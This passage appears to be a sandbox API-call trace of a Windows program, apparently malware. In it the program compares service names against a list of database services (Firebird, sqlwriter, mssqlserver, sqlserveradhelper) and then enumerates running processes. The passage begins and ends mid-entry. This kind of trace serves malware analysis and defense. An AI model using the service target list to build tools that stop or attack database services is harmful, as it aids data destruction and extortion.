lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0172.500] lstrlenW (lpString="PcaSvc") returned 6 [0172.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0172.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0172.500] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0172.500] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0172.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0172.500] lstrlenW (lpString="PlugPlay") returned 8 [0172.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0172.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0172.500] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0172.500] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0172.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0172.500] lstrlenW (lpString="Power") returned 5 [0172.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0172.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0172.500] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0172.500] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0172.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0172.500] lstrlenW (lpString="ProfSvc") returned 7 [0172.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0172.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0172.500] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0172.501] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0172.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0172.501] lstrlenW (lpString="RpcEptMapper") returned 12 [0172.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.501] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0172.501] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0172.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0172.501] lstrlenW (lpString="RpcSs") returned 5 [0172.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0172.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0172.501] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0172.501] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0172.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0172.501] lstrlenW (lpString="SamSs") returned 5 [0172.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0172.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0172.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0172.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0172.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0172.501] lstrlenW (lpString="Schedule") returned 8 [0172.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0172.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0172.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0172.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0172.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0172.501] lstrlenW (lpString="SecurityHealthService") returned 21 [0172.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0172.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0172.501] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0172.501] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0172.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0172.501] lstrlenW (lpString="SENS") returned 4 [0172.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0172.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0172.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0172.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0172.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0172.502] lstrlenW (lpString="ShellHWDetection") returned 16 [0172.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.502] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0172.502] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0172.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0172.502] lstrlenW (lpString="Spooler") returned 7 [0172.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0172.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0172.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0172.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0172.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0172.502] lstrlenW (lpString="SSDPSRV") returned 7 [0172.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0172.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0172.502] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0172.502] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0172.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0172.502] lstrlenW (lpString="StateRepository") returned 15 [0172.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0172.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0172.502] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0172.502] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0172.502] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0172.502] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0172.506] Process32FirstW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.507] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0172.507] lstrlenW (lpString="System") returned 6 [0172.507] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0172.508] lstrlenW (lpString="smss.exe") returned 8 [0172.508] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.509] lstrlenW (lpString="csrss.exe") returned 9 [0172.509] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0172.509] lstrlenW (lpString="wininit.exe") returned 11 [0172.509] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.510] lstrlenW (lpString="csrss.exe") returned 9 [0172.510] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0172.511] lstrlenW (lpString="winlogon.exe") returned 12 [0172.511] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0172.511] lstrlenW (lpString="services.exe") returned 12 [0172.512] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0172.512] lstrlenW (lpString="lsass.exe") returned 9 [0172.512] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.513] lstrlenW (lpString="svchost.exe") returned 11 [0172.513] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0172.514] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0172.514] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0172.514] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0172.514] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.515] lstrlenW (lpString="svchost.exe") returned 11 [0172.515] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0172.516] lstrlenW (lpString="dwm.exe") returned 7 [0172.516] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.516] lstrlenW (lpString="svchost.exe") returned 11 [0172.516] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.517] lstrlenW (lpString="svchost.exe") returned 11 [0172.517] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.518] lstrlenW (lpString="svchost.exe") returned 11 [0172.518] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.518] lstrlenW (lpString="svchost.exe") returned 11 [0172.518] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.519] lstrlenW (lpString="svchost.exe") returned 11 [0172.519] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.520] lstrlenW (lpString="svchost.exe") returned 11 [0172.520] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.521] lstrlenW (lpString="svchost.exe") returned 11 [0172.521] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.522] lstrlenW (lpString="svchost.exe") returned 11 [0172.522] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.523] lstrlenW (lpString="svchost.exe") returned 11 [0172.523] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0172.523] lstrlenW (lpString="spoolsv.exe") returned 11 [0172.523] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.524] lstrlenW (lpString="svchost.exe") returned 11 [0172.524] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.525] lstrlenW (lpString="svchost.exe") returned 11 [0172.525] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0172.525] lstrlenW (lpString="audiodg.exe") returned 11 [0172.525] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0172.526] lstrlenW (lpString="sihost.exe") returned 10 [0172.526] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.527] lstrlenW (lpString="svchost.exe") returned 11 [0172.527] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0172.528] lstrlenW (lpString="taskhostw.exe") returned 13 [0172.528] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0172.528] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0172.528] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0172.529] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0172.529] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0172.530] lstrlenW (lpString="explorer.exe") returned 12 [0172.530] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0172.530] lstrlenW (lpString="Memory Compression") returned 18 [0172.530] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0172.531] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0172.531] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0172.532] lstrlenW (lpString="SearchUI.exe") returned 12 [0172.532] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0172.532] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0172.532] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0172.533] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0172.533] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0172.534] lstrlenW (lpString="taskhostw.exe") returned 13 [0172.534] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0172.534] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0172.535] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0172.535] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0172.535] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0172.536] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0172.536] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0172.537] lstrlenW (lpString="conhost.exe") returned 11 [0172.537] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0172.538] lstrlenW (lpString="screensaver.exe") returned 15 [0172.538] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0172.538] lstrlenW (lpString="upperarc.exe") returned 12 [0172.538] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0172.539] lstrlenW (lpString="buying.exe") returned 10 [0172.539] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0172.540] lstrlenW (lpString="downloadable.exe") returned 16 [0172.540] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0172.540] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0172.541] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0172.541] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0172.541] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0172.542] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0172.542] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0172.543] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0172.543] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0172.543] lstrlenW (lpString="moments.exe") returned 11 [0172.543] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0172.544] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0172.544] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: 